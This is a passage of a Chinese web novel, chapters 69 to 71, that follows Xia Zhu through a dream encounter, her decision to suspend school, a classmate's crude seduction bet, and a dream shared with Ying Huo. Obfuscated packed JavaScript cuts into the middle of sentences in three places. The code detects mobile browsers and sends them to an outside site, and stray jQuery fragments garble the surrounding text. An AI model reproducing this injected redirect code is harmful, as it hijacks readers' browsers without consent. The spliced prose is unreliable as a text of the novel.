她在东山的家比起姬阴秀这里还要破败一些,那座能为她和爷爷遮风挡雨的房梁也是这么高高地孤零零地悬在头顶。爷孙俩总是坐在屋檐下吃饭,看远山青黛,黄狗儿摇着尾巴在田埂间奔跑,夏季来临时常有雨,头顶的瓦片便叮叮当当地被敲响,墨雨在水泥地上炸开一朵朵小花,暑气就带着放线菌的味道被蒸起。 夏烛抬起头来,“阿姨不来吃饭吗?” “不用担心,我已经端去她房间了,母亲从来不和我一起吃饭。”姬阴秀没有看夏烛,自顾自地夹起他面前的青菜。 吃过晚饭,原本要带着夏烛去别的地方散散步,可是春雨来得突然,细细密密地泼洒起来,姬阴秀回房间练习剑术,夏烛也不好打扰。 春雨如酥,下得静悄悄,像雾一般。 她把房间里的所有竹窗全都推开,清爽的风带着潮湿的雨气扑了一脸。这种绿幽幽让人容易思绪缥缈的味道有点熟悉。 夏烛坐在窗边,取下小剑擦拭起来,她的手指抚上那颗细碎的迷离的彗星。借着湿润的空气,不免会想到赢惑。 其实她早就猜到,赢惑的身份叫人怀疑,嬴家的人说他根本不是少皞后人,点石成金分明是蚩尤一族的相力,而败者为寇,史书通常由胜利者执笔。于是一个很可能是叛族私生子的人,只有挥金如土,才能在家族中有一席之地。 而他在暗中监视夏烛,又主动现身质问她的身份,这些信息都太过明显,赢惑一定是知道点什么的。 可是,夏烛一直没有选择正面和他谈起这件事,实际上是因为,她总有一种别扭的预感,一种莫名其妙的担心,担心赢惑怀疑的那人,其实并不是她。 至于为什么担心,至于不是她又怎样呢,夏烛选择不去细想,就算是想也想不明白。 夜色愈深,雨却不见停,愁云惨淡处隐隐有电光闪过,夏烛准备睡觉,将窗户关得只剩一扇,春雷就滚滚而来。 她将被子拉到嘴巴下方,这里的床具有一股草药的香味,也许是有安神的作用,夏烛很快就睡着。 窗外面,轩辕丘外的大湖,风雨中掀起层层波浪,幽深的黑水之下似乎隐藏着什么瘆人的东西。湖面上落下树枝状的闪电,银色光辉照亮波涛的尖端,如同一池若明若暗的星屑。 昏暗的房间中,夏烛耳边的棕色符钰毫无征兆地亮起在几个闪烁之后又再次熄灭陷入沉寂。雾气和水汽从唯一打开的窗洞中涌进房间,形成模糊迷离的屏障。 床上的夏烛睁开眼睛,却分不清自己身处何方。 她从床上下来,双脚踩在地面上,感受到一股不同于地板的柔软质地,尝试走了几步,意识到房间的边界似乎在大雾中消失,而变得空旷。 这里还是不是姬阴秀家,都很难说。 但她不觉得害怕,就像如今用于思考和行动的身躯并不是自己,或者只是以自己为原型操纵的傀儡,更倾向于以第三人称的视角看着自己在大雾中摸索。 一个念头刚刚冒出,会同潮湿缺氧的溶洞中的烛火,立马被水汽扑灭。 闪电击中了窗外的乔木,屋内霎时亮起一道白光,瞬间照亮了隐在雾中的一个身影。那是一个女人,赤身裸体地跪坐在地面上背对着夏烛。 黑色的长发从背脊往下一路蜿蜒至地面上,莹润的绸缎似得将她的身躯半遮半掩其中。肌肤的质地并不像人类,而是呈现一种类似玉石的光泽感。 又一道闪电劈过,夏烛看清了她裸露的充满力量感的双腿上爬满了月贝一样的银色鳞片,一直延伸到了黑发遮挡的尾椎骨处,发出柔和的银色光辉透过重重遮挡的雾气。 不知不觉,夏烛拖动着双腿想要靠近她。 “谁?” 女人察觉到身后的不速之客,猛地回头,露出一张细瘦美丽的脸,完美到以为只有九天神祇才能拥有,或者是某种人造的产物。她下意识动物一般地皱起好看的鼻子,咧开嘴露出两颗迅速变长的虎牙,就连额角处的皮肤都在急速皱缩,从肉骨底下破出一对银色海珊瑚似的角。 两人的视线猝不及防地对上。夏烛盯着那张脸,胸腔里的某个位置不受控制地发酸,就连眼眶也开始疼起来。 而那个奇怪的女人在看清夏烛的那一刻,脸上的表情从警惕变成了一种稚子般的茫然。 “你是谁?”女人收起了利齿,歪着头疑惑地盯着夏烛,神态像是一头森林中的偶然遇到的幼虎。 夏烛想开口说话,却发现自己怎么样都发不出声音。 死寂的大雾中突然响起水珠滴落到光滑石面上的声音。 夏烛眼见女人那双金色的眼睛骤然睁大,黑色圆润的瞳孔瞬间变为竖线。 “是你!”她惊呼,双腿上的鳞片瞬间炸开,密密麻麻缠绕上颈部,腿化为一尾,肌肉收缩,像张开的弓弦,下一秒就朝夏烛扑来。 夏烛伸出手想要挡在面前,却见大雾似被一阵狂风吹散,连同那个人的身影也被裹挟带走。 她猛地睁开眼睛。 自己仍然躺在姬阴秀家的床上,窗外面的雨还没有停,空气清新也不见雾气。意识归位,夏烛摸上自己耳边的符钰。 刚刚难道进梦了? 她想要坐起来,一摸胳膊发现皮肤上全是密密麻麻的水珠。回想刚才的情形,觉得自己也许不是做梦,感官真实,潮湿得像是在某片湖底。 她想起女人最后说的话,难道她认识她? 看她头顶长角,身下拖尾,也许是一只妖神。 还有这么好看的妖神?夏烛忍不住想象那些宝石般的鳞片摸上去是什么感觉的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067945|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她重新躺回床铺,却辗转反侧怎么都睡不着。索性一个鲤鱼打挺,穿好衣服在房间内打起拳来。 强身健体要练就一身钢筋铁骨,这样下次再遇到类似的情况,她一定反应迅速上去就抓住可疑人员的手。 * 第二天一早,姬阴秀来叫夏烛起床吃早饭,发现她精神焕发,双眼炯炯的在廊下做广播体操。 “看来你昨晚睡得不错。” 夏烛被姬阴秀突然出现在身后吓了一跳,这下不仅得锻炼体能,还得提高警惕性。 “我脸上有什么吗?”她见姬阴秀盯着自己,然后默默地抬起手指搓了搓眼角,查看有无漏网之眼屎。 “或许,你感兴趣得话可以和我一起练练剑术。”他见过夏烛战斗,虽然勇猛敏捷,却无章法,对付未成型的魍魉还行,若是真走到捉妖哪一步,胜算几乎为零。 “练剑术,你教我吗?” 姬阴秀摇了摇头。 “我还没有资格教人。如果你以后有时间,可以再来轩辕丘,跟我的老师学习。” “你的老师?” “妖神应龙,她可是世间最厉害的武道大师。” 夏烛脑子里立马闪过银色的角和漂亮的尾巴。 “或许,你的老师,是住在湖底的吗?” 姬阴秀有些惊讶,“你见过她?” “梦里见过算不算?”夏烛挠挠头。 她跟姬阴秀讲了昨晚的那个梦,在沉思一番后,姬阴秀认为可以由他引荐带夏烛去见见应龙,说不定能从她那里得知自己的身世。 但是离开学只剩四天,夏烛实在不想这么匆忙地去见一位兴许认识自己的前辈。还有,也许是近乡情怯,她不想就这么得知某个真相,心里总是有股不好的预感。 姬阴秀把夏烛送到了崆峒山下,约好未命名队伍1如果有外出的行动一定会提前通知他。 昨晚考虑了很久,她还是给姬无愁发了短信,让她帮忙转告风枫和风叶阿姨她们,时间紧张,来不及先回树山镇告别,她得直接启程返回学校了。 天孙山离夏烛家更远,所以她没有乘坐追风道而是选择直接下山,坐车回去。 奔波了一天一夜,窗外的景色越来越熟悉,夏烛的身体却越来越轻飘飘。 见到熟悉的校门,走进熟悉的宿舍,她反而有一种恍如隔世的陌生感。身边人不再是一些能上天入地神通广大的天才,而是和自己一样最普通不过的人类。她很难承认,自己更习惯不明官的世界。 落差和恍惚,让她产生一切都是一场梦的错觉。 半夜忽然从床上惊醒,浑身汗湿仿佛浸在水里,以为自己还在东山第四病院的病床上。她心魂不定地下了床,借着月色走向窗边,拉开书桌下方的抽屉,直到看见自己的小剑静静躺在其中,才舒了一口气。 夏烛俯视小剑,盯着上面的彗星,深色的瞳孔反不进一丝光线,在夜色中,瞳孔的边缘看上去如同墨迹般溃散。 轻轻张开嘴,空荡荡的房间里响起她失真的声音。 “蚩尤旗。” “荧惑守心。” 手不自觉地伸向小剑,握住冰凉的剑柄拔剑出鞘,带着寒气的剑锋轻轻就可划开手心的皮肤。 涌出的鲜血在下一秒倒流回体内,皮肉顺滑得像是从来没被破开。 夏烛在黑暗中长长地叹了一口气。 69.休学 仅仅一个晚上,夏烛就做出了决定。 昨晚惊醒之后再也睡不着,寝室不到六点不会亮灯。她拉开窗帘推开窗户,就着银白色的光线开始一点一点地收拾自己的东西,将夏天的短袖,风叶送她的棉袄一件件收进行李箱中。 明天开学,她打算去找班主任商量休学的事情。 在一切结束,真相明了之前,她不打算无动于衷地呆在学校或者考上某个大学去过年复一年无比雷同的日子。 但这不表示,夏烛将会永远是高中学历。她认真考虑过,自己始终还是想做人。 一个普通人。 不是神血后裔更不是高高在上的神。 从前将一整颗心都投入到书里,以为这样空荡荡的身体就会被无涯的知识补足。让这些文字来告诉她世界应该是怎么样的,宇宙有无穷之大,如何的广袤如何的无垠。 她自以为了解很多了,但真正走出去,走出山村走出学校,才发现那些所闻却如纸张一样薄弱,无法支撑真实世界的美好和残酷。 而这样按部就班,参加高考进入大学,或许可以靠贫困补助读完四年,再继续考这个证考那个职,把自己的二十多年包括是个怎么样的人总结为简历上短短几行的文字,兜售一筐新鲜个大的鸡蛋一样兜售自己。 付出一切在城市泥潭中打滚,灰头土脸狼狈不堪,结果只会是从小一点的困境移到大一些的困境。 单单靠她自己,一个无依无靠的孤儿,一个饔飧不济从黄土地上摸爬滚打起来的女性,要多幸运和努力才算得上真正改变命运。 如果只是这样一步步长大,她的内心世界依旧浅薄得可怜。 所以她想走出去,至少去到风枫的身边,每向前迈出一步,眼前那个边缘始终模糊晦暗的世界就会慢慢亮起一点小灯。她想她在树山镇有了朋友,她的世界就有从家里的破房子到树山镇那么大,她在日月山有了朋友,那她的世界就有三处山峰那么大。在从“这里”到“那里”的途中所见所闻远比终日坐在油灯下看书要有用得多。 行路万里比起局限于一隅凭想象认识世界更重要。 但她又是何其的幸运,居然一脚踏进了那个截然不同的世界,发现了稳定有序的社会框架下还有这样一群离经叛道不泯于众的人,而她在那里,竟然不会觉得孤单。 给了她一次做选择的机会,已经比家乡的人要好很多很多了。别人的生活如何,她并不想去评说。 从五个不同人的梦境中出来,她只看明白了同样的一个道理。 生命仅有一次,物尽其用,去体验就好了。学习、享乐、无所事事,花上一整天学习一本书和花上一整天只躺在沙发上看日头渐渐西移,光影慢慢拉长,怎么样都好,去体验和感受,作为夏烛。 所以她不会放弃去探索这个辽阔的世界,但也和身体里另一部分的自己约定好了,等到夏烛成熟起来,找回残缺的那部分,变成一个完全能够自力更生,顶天立地,拥有一整颗强大心脏的人。她会再次回到这个熟悉的社会中,也许重新考一个大学,也许找一份工作,她相信学无止境,只是到那个时候,自己或许会以另一种心态去面对。 决定了就去做。 她打算第一节下课就去办公室找班主任。 下课十分钟,她先是收了寒假作业,又擦了黑板,等冲出教室的时候却被人拦在了走廊上。 “夏烛同学,新年快乐。” 她看着眼前这个鼻子是鼻子嘴巴是嘴巴,可就是无论如何也想不起来的人,只能生硬地回他“同乐同乐。”心里着急,课间没法去,又得再上一节课,休学不是什么小事,流程走起来肯定要个几天,但她已经等不及回树山镇了。 “夏烛同学,早上的奶茶好喝吗?你喜欢的话我下次继续给你带。” 奶茶?夏烛重新抬起头来,往上推了推眼镜,觉得这人有那么一点点眼熟,也许是班上的同学。今早回班的时候,确实在座位上发现了一杯奶茶。但她只是思考了几秒,就被旁边问她问题的同学给打断了。要是这人不提醒,奶茶恐怕会被一直遗忘在桌空里。 “哦,那是你的奶茶。”夏烛露出一个恍然大悟的微笑,一个假期过去,她已经熟练运用微笑掩饰一切尴尬了。“等我一下。” 反正时间已经来不及了,她回到班里,在教室后面的储物柜里捣鼓,然后抱着一个纸箱回到了走廊上。 “这些都是你的吧。”她把箱子小心放到那人脚下。 原本彬彬有礼胸有成竹的笑容僵在赵秉之脸上,他看到纸箱里全是上学期送给夏烛的零食,当然还有那杯奶茶。 “下次吃不完就不要买这么多。”夏烛将箱子往他那边挪了挪,“太浪费了。”她语重心长。 广播里响起上课的铃声,夏烛拍拍手回去了。 留下某人呆傻地站在原地,握紧了拳头。 第二节下课,没有任何阻拦,夏烛成功将班主任截在了办公室。 让她意外的是,班主任董老师在听完她提出的休学要求后,只是面色凝重地沉思了几秒,然后将手拍上夏烛的肩膀。 “春光明媚,是可以休息休息。”老师是这么告诉她的。 仿佛是为了印证她这句话,浮云被春风吹散,阳光盛大,照进窗户,有小鸟叽叽喳喳地飞出树冠,黄绿色的新芽也在努力沙沙。 夏烛走出办公室,阳光洒到她的脚下,从走廊看出去,莺飞草长,一切都是生机勃勃,就像卸掉了肩膀上的一块大石头,身体也变得轻飘飘。 老师说得没错,春光这么好。 * 跟她之前的猜测一样,休学的流程起码一周,要先提交申请,准备证明材料,然后才是漫长的审批。在这之前,夏烛还是照样在班里继续上课。 在体育课上甚至被任命为临时体育委员,叫她去器材室搬点东西出来,正好可以负重练练体能。器材室充斥着一股浓烈的塑胶味道,夏烛挽起袖子,将老师吩咐的装篮球足球的推车给翻找出来。她又找了个纸箱子,取了一些小球类的器材。 准备左手夹着箱子,右手推推车。 “我来帮你吧。”有个逆光的身影挡在夏烛面前。 不用抬头都知道,又是那个人。 她也不客气,顺手将自己手里的箱子和递了过去,推也推到他手边。 “谢谢你…嗯…”她挠挠头,实在想不起来名字,“谢谢你,这位同学。”然后两手空空地边做拉伸边离开了器材室。 某个昏暗的角落突然发出一声嗤笑。 “谁?”赵秉之吓得一哆嗦,手里的纸箱一歪,乒乓球和羽毛球散了一地。器材室里光线不佳,他也不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075558|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去查看那些堆叠起来的庞然大物后面是什么在发出声音,赶紧蹲下来把东西一一收进纸箱,推着车小跑离开了这里。 顶着太阳锻炼了一整节课,夏烛饿得前胸贴后背,体育老师一吹哨,她拔腿就跑,挥动着手臂炮弹一样冲了出去。 老师望着她很快消失不见的背影遗憾地摇摇头。 “可惜了,是个好苗子。” 操场离食堂虽然很近,但等夏烛跑到一看,里面一些味道不错的窗口已经排起了长队。她还在纠结要不要去个人少的地方打饭,两个女生就牵着手从她身边跑过,说今天食堂做了大肉米线。 夏烛两眼发光也不纠结了跟在她们后面在米线窗口排起了队。 食堂里的人越来越多,一晃神让她想起来之前和风枫风眠也在这里吃过饭,就坐在窗边的那个位置,当时兄妹俩还绞尽脑汁拐着弯地问她家里的情况。 时间果然过得很快。 她甩了甩了头,马上就能再见面了,眼下最重要的是大!肉!米!线! 夏烛直直盯着窗口飘出的热气,用一种近乎虔诚的眼神! 好不容易排到她了,单手接过阿姨递过来的米线,正准备扯出脖子上挂得校卡刷钱。 “滴——” 从背后伸出一只手,抢先在刷卡机上付了钱。 夏烛回过头一看,依旧是赵同学。 她叹了口气,把手上的米线往赵秉之怀里一推,也没看他就往队伍后面走重新排起队来。 “这么饿的吗?”还留下一句小声的嘀咕。 夏烛觉得很奇怪,最近怎么走哪儿都能遇到赵同学,以前也没注意到有这个人啊。 过了两天,她请假回了趟镇上,开具了休学的证明顺便领取这一季度的补助金。等她回来往年级组提交资料又碰到了赵秉之。 “夏烛同学,好巧啊。”他说话的语调总是轻飘飘地上扬,听得夏烛有些不舒服,但她认为就算赵同学的声音再怎么难听也不能表现出来,于是扯起嘴角露出一个自以为特别礼貌的微笑。 赵秉之手里举着两张票,在夏烛眼前晃了晃。 “我爸有个朋友在市博物馆特藏部工作,他们最近在整理一批刚入库,第一次公开的文物,良渚文化。看你好像对历史啊神话什么的比较感兴趣,票很难抢,我手里正好有两张,周末要不要一起去?” 夏烛只去过一次博物馆,还是高一时候历史老师带着全班一起去的。她很喜欢参观那些跨越千百年的历史遗物,所以对赵秉之的提议很心动。 想起自己从图书馆借了一些相关的资料放在书桌里,估计是被他看到了。 赵秉之见夏烛没有马上拒绝以为有戏,脸上的褶子都皱了起来。 “多少钱?”夏烛边问边要掏裤兜里的零钱。 “不要你出钱,陪我一起去就行。” 她想赵同学长得不帅,声音也不好听,老是做一些奇怪的事,估计和她一样也没什么朋友,结伴参观个博物馆也没什么的。 于是她郑重其事地点点头。 “不过我的那张票还是得我自己出钱。” 赵秉之拗不过夏烛,为了能达到目的还是把票给了她,从她手里接过来有零有整的几张纸币。看着夏烛离开的背影,将那些现如今已经很少用的钱揉成一团塞到校服裤兜里。 70.榴花雨声(一) 交完资料离午休结束还有点时间,夏烛特意从才打花苞的紫藤长廊绕回教室。楼道里静悄悄的,午后的阳光有些缱绻,晒得人眼皮发沉。就算有人早早到教室了也是趴在课桌上小憩。 快走到高三十五门口的时候,教室里有几个人在说话,声音大到外面都能听见。 “知道这叫什么吗?这就叫贱,自以为学习好就假清高,稍微花点钱就对你露出笑容,再动动手指头,腆着脸就来了。” “欸,我以为她难度算高的,让你选个别的,没想到这么简单就得手了,毫无挑战啊老赵,我们认赌服输啊。” 是赵秉之和班上的男同学。 夏烛停住了脚步,就算她再怎么迟钝现在也听明白了。 从头到尾,原来都是这群无聊的人自以为是的一场赌局。奈何她根本会错了意思,还以为赵同学也是一个没有朋友的人,甚至惺惺相惜上了。 “你懂什么,女的都这样不值钱。”赵秉之的声音听上去,就像在谈论某种物品的价值,而他是了解行情的老手,在众人面前高谈阔论,能使其价值一再被贬低。 “哦?老赵这么懂女的?是不是因为你家里有两个如花似玉的姐姐啊?” 周围的人都跟着猥琐地笑起来,赵秉之夹在其中却没有再搭腔。 “怎么样怎么样,你真要和那个夏烛去逛什么博物馆吗?” “为什么不去,票可是花了钱的,你们没发现吗,一个寒假回来那女的好像长开了不少。” 有的时候,夏烛真的很难理解,同在一个生长、学习环境,人和人的区别为什么如此之大,要怎样的大脑和生理结构才能形成这种毫无意义的恶趣味和低俗。 她其实没有生气,更多的是不理解和好奇,要是真有爱抓人去做人体实验的疯狂科学家,更应该把这群人抓去研究研究,一个大脑里长出□□官的生物,是如何直立行走,伪装得像个正常人的。 “别人施舍傻子一样对你礼貌笑一笑,几个垃圾还真围在一起自嗨起来了。” 是叶理的声音。 夏烛收回想往前迈的脚步。 “我们也没有说你吧,多管什么闲事。”虽然感到羞愤,但几个男生却不敢真和叶理对上,毕竟她家里有权有势,嘴还特别毒,不是那么好对付。遇到真正的天龙人,脖子上又能立马长出大脑。 “我难道有说错吗?一点点廉价的施舍就自我感动得不行,以为别人是楼下的自动贩卖机吗?投几个硬币就得出货。真是好笑。” 夏烛有些愣住,她确实没想到叶理会帮她说话。 教室里鸦雀无声,下一秒一双鞋子走进了她的视线。夏烛抬头的时候对上了叶理那双眼尾上挑的漂亮眼睛,她一直都知道眼前这个人从来都是这么好看,可现在她在站在这里像是不可一世的神女一样闪闪发光, 叶理似乎没料到转角遇到当事人,眼神里闪过一丝尴尬又快速被一种伪装的傲慢遮掩过去。她双手抱在胸前,尖尖的下巴往上一抬。 “看什么看,呆头鹅。”说完就挤着夏烛的肩膀走过。 总是这样,路有这么宽,但叶理就爱撞着她的肩膀,好像夏烛挡了她多大的道。 “给你。”夏烛把博物馆门票拍在赵秉之的桌子上,然后向他摊出手心,“把钱还我。”无论如何,钱又没错。 “什…什么?”赵秉之没想到夏烛怎么快就回到教室,不知道她听到了多少,做贼心虚,身体和语言系统都下意识畏畏缩缩。 “把钱还我。” 只要不砸到自己头上,那就不算什么事,刚刚还和他热烈讨论的一群人,这会儿都抱着看好戏的姿态,赵秉之从裤兜里掏出那一团已经被他揉得不成样子的零钱,脑袋发懵地放进夏烛手里。 夏烛收回钱准备离开,想了想还是返回他的座位面前,用一种近乎悲悯的眼神将赵秉之从头到脚的审视一遍。 “还有,我不喜欢丑的东西。” * 资料提交上去,休学的事情就完成大半了,剩下的只需要等待审批下来,她就可以启程回树山镇了,不过,离开之前夏烛打算再回一次家,看看爷爷跟他讲讲这短短几个月的奇妙经历,顺便收拾东西。 心里没有了负担,难得睡了个好觉,四肢变得沉重,身体渐渐陷进被窝。黑暗中,耳朵上的符钰用力闪烁了几下又再次熄灭,和在轩辕丘时候的情况一样,只是熟睡的夏烛并不知道。 原本紧闭的窗户被一阵夜风吹开,质量并不好的薄纱窗帘像一缕虚魂在空中挣扎浮荡。一只苍白的手从夜色里伸出一把握住了窗沿,然后顺势整个身体钻进了窗框。手的主人毫不客气地踩在夏烛擦拭得干干净净的书桌和凳子上,然后慢悠悠地走到床边,居高临下地看着面容平静呼吸绵长的夏烛。 他就这样盯着她毫无防备的脸,久到窗外的天色闪烁,夜鸮发出黎明前的啼叫。才蹲下身子,用那只带着鸽血红戒指的手握住了夏烛垂落在外的手腕。 陌生的脉动在他掌心跳动,一种怅然的表情从脸上化开,灰色的虹膜在并不明亮的光线中像一片朦朦的雾气。如果夏烛在这个时候睁开眼睛,也许会以为自己迷失在了大雾中。 但她没有真正意义上地睁开眼睛,也见到了不应该出现在这里的赢惑。 “你又跟踪我。”皮肤表面接触到的空气温度并不低,初春显然还没有这个气候。照理说眼前的光线十分刺眼,她是看不清赢惑的样子,却莫名地知道那就是他。 “别说得这么难听,什么叫又。”他漫不经心的笑在褪去的阳光中慢慢清晰,随着光线往外推进,周围的景象也渐渐显露出来。 夏烛揉了揉太阳穴,耳朵里听到一些稀稀疏疏的蝉鸣声。 她换了种方式,“哦,你又尾随我。” 赢惑挑挑眉,没有说话,他确实一路从崆峒山下尾随她到了学校。 听觉和视觉悉数归位,周边的绿树楼房,头顶明晃晃的太阳,以及聒噪的蝉鸣,一切都十分真实地存在着,但夏烛记得自己睡前还在学校,学校可不长这样。 两人现在站在一片沙地中,锈迹斑斑的跷跷板被烈日烤出独属于金属的味道,两边绳索并不一样长的秋千正在无风自动,前方是一片老式的居民楼房,铁做的防盗网和天蓝色的玻璃像是二维图像般镶嵌在建筑物上,很有千禧年代的风格。 看这情况,不知道出于什么原因,符钰没有起作用,夏烛又肉身入梦了。 她想起什么,警惕地看向身边的赢惑。 “干嘛,是我发现你快被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081492|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魍魉梦吸进去了,才跟着一起进来的。” “我可不是那种忘恩负义的人。”他说完斜着眼睛打量夏烛。 “你也是肉身入梦?” “也是?”午后的阳光太过刺眼,赢惑微微仰头眯起眼睛,冷冰冰的眉眼看不出神情,两个简单的字被他念得晦涩不明。 “没错,你和我不是一样的特别吗?两个身份不明的人,妄图混迹在人群中,一个点石成金,另一个…让我猜猜,夏烛同学的相力会是什么呢?” 赢惑的话让夏烛突然记起,睡前把小剑放在了书桌的抽屉里,没有了武器的夏烛有种青天白日裸奔的错觉。她下意识摸向自己的腰间。 这个动作被赢惑看在眼里,他问出了一句让夏烛感到疑惑的问题。 “如果…那把剑被你带在了身上,你能在这个梦中挥出所谓仁慈的一剑吗?” 他的话云山雾罩,夏烛皱起眉头,双眼直视着赢惑。 她的眼睛里确实只有不解,这个发现让赢惑有些失落,他收起表情,双手插进裤兜,从夏烛身边略过自顾自地往居民楼走去。 “没意思,赶紧杀掉魉出去吧。”冷冷地丢下一句。 莫名其妙,夏烛低头理了理身上的棉质睡衣,一脸懵地跟在了赢惑后面。 周围开始有行人出现,她猜测这个梦也许和巨大天女的那个差不太多。边际很广,NPC很多,来来往往穿着也是零几年的风格。 只是所有的建筑人物以及道路两旁的花草树木都被一种暖黄色的光朦朦胧胧地笼罩,过曝老照片的质感,恍恍惚惚如坠五里雾,感觉上是一场真正的梦。绿色的草斑驳的墙,闪烁的阳光,面容模糊的人,所有的一切像是缓缓流动的逝去时光,就连夏烛也觉得酸酸涩涩,心脏某处细细地痒。 靠近居民楼,她敏锐地闻到空气中有一股清苦的草叶香,味道很是熟悉,但一时之间想不起来。她听着偶尔一两声的蝉叫,看着头顶晃晃的日头,努力推测这应该是个熟悉的节气。 忽然,从远处跑来一个跌跌撞撞的小女孩。她埋着头,两个小辫上下晃动,身上穿着精致可爱的小裙,脚上是一双亮色的小皮鞋。只是小小的身体在波动的热气中看起来摇摇欲坠有些失真。 夏烛以为女孩也会是和别的路人一样模糊的面容,却在她跑近时看清了那双倔强的眼睛和紧抿的嘴角。她双手握成拳头,只盯着地面跑,这样实在危险,稍不注意就会跌倒。 果不其然在离她两步外的地方小姑娘左脚踩到右脚,身体往前扑去,夏烛下意识地抬起手,想要接住她,却眼睁睁地看着女孩的身体穿过自己的双手,重重地跌到地上。 她趴在那里,小小的身体在努力遏制颤抖,细细碎碎的呜咽全被她压在喉咙,一秒两秒,时间过去,小女孩再次握紧拳头从地上爬了起来,膝盖和手腕上的擦伤看上去触目惊心,但她没有停下来处理自己的伤口,而是一鼓作气重新站起来然后低着头跑进了居民楼。 夏烛呆呆地看着自己的双手,转头看着小女孩消失在拐角的背影喃喃道:“我知道这是谁的梦了。” 一直冷眼旁观的赢惑对她这个发现丝毫不觉得意外,意味不明的眼神仔仔细细地在夏烛身上游走,认真的样子像在观赏一件令人满意的艺术品。 71.榴花雨声(二) “我好像知道这是谁的梦了?” 漂亮精致像一只小小的崭新的娃娃,尖尖的下巴这个时候还有些圆润,原来那双眼睛从小就很倔强,生气的时候嘴角会微微向下。 刚刚跑过去的小女孩是7、8岁时候的叶理,她们这次也许进入熟人的梦境了。 为什么夏烛可以信誓旦旦,因为这家伙根本就是等比例放大的。 意识到这很有可能是叶理的梦,夏烛有点兴致勃勃但又觉得不好意思,总有种未经允许在窥探别人的隐私的错觉。 还有这个梦似乎不同于之前的梦境。 她抬起手向道路旁的草丛尖上拂去,就和虚虚的幻影从她手指尖毫无知觉地穿过一样,加上小叶理刚刚的视若无睹。 “梦里的人好像看不见我们?”她看向自己的双手,试图理清变成透明虚影的是自己还是这个梦境中的事物。 “忘记神策预言了吗?现在的梦肯定多少受到影响,梦里的人看不见我们不是很正常?”赢惑站在不远处的树荫下,夏烛有些看不清他的脸,“不跟去看看?如果她就是魉那不正好,杀掉她我们就能出梦了。” 杀掉?夏烛一怔,想起他刚才那句云里雾里的话。? 短短思考了几秒她决定先跟去看看,说实话夏烛也挺好奇,看起来完美无缺的叶理会因为什么样的执念而困惑不得解。 走进叶理消失的那个楼道,一股阴凉的风吹了过来,这里比外面凉爽很多。空间本就不算宽敞,楼梯下方还停着两辆灰蒙蒙的摩托车和一架粉色的儿童自行车,看上去在这里已经放了很久,露出海绵的坐垫上积了厚厚的一层灰。 右边面积不大的斑驳墙壁上贴满了各种各样的小广告和楼道居民公示,还需要安装这栋楼的总电箱,挤得满满当当。 每个细节都无比清晰,看样子叶理对这个地方的印象十分深刻。 拐过楼梯转角,是一大扇老式的镂空花墙,灿烂的阳光正从缝隙中涌进昏暗的楼道,在水泥地面上投出斑驳的花影。从花墙下过,会感受到短暂的炽热。 赢惑一直悄无声息地跟在后面,他从刚才开始就表现的兴致缺缺,毕竟这些人啊物啊跟他毫无关系,从前未曾踏足过的领域以后也不会想去了解。人类社会对他来说就是一个遥远的星系。 不知道为什么,夏烛停了下来,转身居高临下地俯视赢惑,看他刚好站在花墙下,耀眼的阳光将他翘起的发丝变成金色。 发现她的动作,赢惑也站着不动了,微微仰起头和夏烛对上了视线。 “如果你不想和我一起,可以找个地方…休息,这个梦应该没什么难度和危险,我自己可以解决。” 赢惑似乎没料到她会这么说,表情有一瞬间的松懈,然后莫名笑起来,这还是第一次他的笑里没有嘲弄的意味,夏烛觉得自己眼眶酸涩,果然不能一直盯着阳光看。 “休想。”赢惑的气息有些轻飘飘,两个字如同一片羽毛,他慢悠悠地走到夏烛身边,侧过头瞥了她一眼,“别以为我不知道你在想什么,想私吞天生相石,再把我甩掉是吧。” 他突然停了下来,因为高出夏烛一个头,所以换成了他俯视她。 “像上次一样?休、想。” 赢惑的视线落在她皮肤上突然就变得发烫,盯得夏烛实在不知道该往哪里看,后知后觉他是想利用语言和身高的优势,造成气势上的落差,让她莫名其妙就产生内疚,可她明明什么都没做错。 他难道不明白吗,同意收留的那句客套话是带着目的的,夏烛已经用拳头结束了上一段的冲突,两个人就应该大路朝天。 除非,除非赢惑能够立马告诉她,一直跟着自己的真正目的,以及,他心里面有所怀疑的,那一个名字。 但她还是什么都没说,擦着他的肩膀继续上了楼梯,像叶理对待她那样。 一连爬了许多楼梯,直到四楼才看见那个小小的身影。 也许是因为天气炎热,401这户人家并没有完全关上大门,而是半掩着。小叶理就趴在门边鬼鬼祟祟地往里面看。 夏烛刚开始以为她是出门贪玩晚了,不敢回家,所以先躲在门口探查军情。她想正好自己是个隐形人,可以帮她看看爸爸妈妈有没有生气。 